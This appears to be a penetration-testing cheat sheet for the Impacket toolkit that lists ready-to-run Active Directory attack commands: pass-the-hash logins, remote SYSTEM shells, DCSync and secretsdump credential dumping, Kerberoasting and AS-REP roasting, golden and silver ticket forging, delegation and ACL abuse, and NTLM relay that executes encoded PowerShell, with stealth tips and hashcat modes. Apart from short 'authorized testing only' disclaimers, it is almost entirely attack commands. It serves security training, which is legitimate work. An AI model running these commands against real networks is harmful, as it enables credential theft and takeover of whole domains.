Impacket

AD attack scripts — secretsdump, psexec, GetUserSPNs, ntlmrelayx

Impacket Cheat Sheet

Impacket is a Python collection of scripts that implement Windows network protocols (SMB, MSRPC, Kerberos, LDAP), used for Active Directory attacks — remote execution, credential dumping, Kerberos abuse, and relaying. For authorized testing only.

Scripts are named with a .py suffix from source (impacket- prefix when installed via apt/pipx). Examples below use the .py form.

1. Credential formats

Every script accepts the same target/credential syntax:

# Password
script.py DOMAIN/user:'Password123'@10.10.10.10

# Prompt for password (no creds on disk/history)
script.py DOMAIN/user@10.10.10.10

# Pass-the-Hash (LM:NT, use empty LM)
script.py -hashes :ad9c84... DOMAIN/user@10.10.10.10

# Kerberos ticket from KRB5CCNAME
export KRB5CCNAME=user.ccache
script.py -k -no-pass DOMAIN/user@host.domain.local

# AES key (Kerberos)
script.py -aesKey <hexkey> -k DOMAIN/user@host.domain.local

2. Remote command execution

# Semi-interactive shells (different techniques)
psexec.py DOMAIN/user:pass@10.10.10.10                 # SYSTEM, creates a service (noisy)
smbexec.py DOMAIN/user:pass@10.10.10.10                # service + named pipe, no binary dropped
wmiexec.py DOMAIN/user:pass@10.10.10.10                # WMI, runs as the user (stealthier)
atexec.py DOMAIN/user:pass@10.10.10.10 "whoami"        # Task Scheduler, single command
dcomexec.py DOMAIN/user:pass@10.10.10.10               # DCOM (MMC20/ShellWindows)

# Run a specific command and exit
wmiexec.py DOMAIN/user:pass@10.10.10.10 "ipconfig /all"

# Pass-the-Hash to SYSTEM shell
psexec.py -hashes :ad9c84... administrator@10.10.10.10

3. Credential dumping — secretsdump.py

# Remote (DRSUAPI / DCSync if you have replication rights)
secretsdump.py DOMAIN/user:pass@10.10.10.10

# Pass-the-Hash
secretsdump.py -hashes :ad9c84... DOMAIN/user@10.10.10.10

# DCSync a single account (e.g. krbtgt)
secretsdump.py -just-dc-user krbtgt DOMAIN/user:pass@dc.domain.local

# Only NTLM hashes from NTDS (skip Kerberos keys/cleartext)
secretsdump.py -just-dc-ntlm DOMAIN/user:pass@dc.domain.local

# Offline from registry hives
secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL

# Offline from NTDS.dit
secretsdump.py -ntds ntds.dit -system system.hive LOCAL

4. Kerberos attacks

# AS-REP roasting (users with "do not require pre-auth")
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10
GetNPUsers.py DOMAIN/user:pass -request -format hashcat -outputfile asrep.txt

# Kerberoasting (request TGS for SPN accounts)
GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.10.10.10                 # list SPNs
GetUserSPNs.py DOMAIN/user:pass -request -outputfile kerb.txt      # dump hashes

# Golden ticket (needs krbtgt hash + domain SID)
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain DOMAIN Administrator

# Silver ticket (service account hash)
ticketer.py -nthash <svc_hash> -domain-sid S-1-5-21-... -domain DOMAIN \
  -spn cifs/host.domain.local Administrator

# Overpass-the-hash → request a TGT from an NT hash
getTGT.py -hashes :ad9c84... DOMAIN/user
export KRB5CCNAME=user.ccache

Crack with hashcat	Mode
Kerberoast (TGS-REP, etype 23)	`13100`
AS-REP roast (etype 23)	`18200`
NetNTLMv2	`5600`
NTLM hash	`1000`

5. Delegation & ACL abuse

# Resource-Based Constrained Delegation (RBCD) — set msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -delegate-to 'TARGET$' -delegate-from 'ATTACKER$' -action write DOMAIN/user:pass

# S4U2Self/Proxy to impersonate a user to a service
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 10.10.10.10 DOMAIN/svcaccount:pass

# Add a computer account (default MachineAccountQuota=10)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Pass123' DOMAIN/user:pass

# DACL abuse (grant rights, add to group, etc.)
dacledit.py -action write -rights FullControl -principal attacker \
  -target-dn 'CN=admin,...' DOMAIN/user:pass

6. SMB / MSRPC enumeration & relaying

# Interactive SMB client
smbclient.py DOMAIN/user:pass@10.10.10.10

# Enumerate users via SAMR / RID cycling
samrdump.py DOMAIN/user:pass@10.10.10.10
lookupsid.py DOMAIN/user:pass@10.10.10.10

# Dump GPP passwords / read shares
reg.py DOMAIN/user:pass@10.10.10.10 query -keyName 'HKLM\\...'
services.py DOMAIN/user:pass@10.10.10.10 list

# NTLM relay (combine with a coercion like PetitPotam/printerbug)
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access     # RBCD via relay
ntlmrelayx.py -t 10.10.10.10 -c "powershell -enc <b64>"         # execute on relay

7. Tips

Sync your clock to the DC before Kerberos: sudo ntpdate dc.domain.local (or rdate) — skew breaks tickets.
Use FQDNs (not IPs) with -k; Kerberos needs the SPN hostname.
wmiexec.py/atexec.py are quieter than psexec.py (no service binary written to disk).
-debug on any script prints the full protocol exchange — invaluable when auth fails.
Pass-the-hash uses only the NT half: -hashes :NTHASH (leading colon = empty LM).

Authorized testing only. Practice on the AYSEC pro-labs. See also NetExec / CrackMapExec and Windows privilege escalation.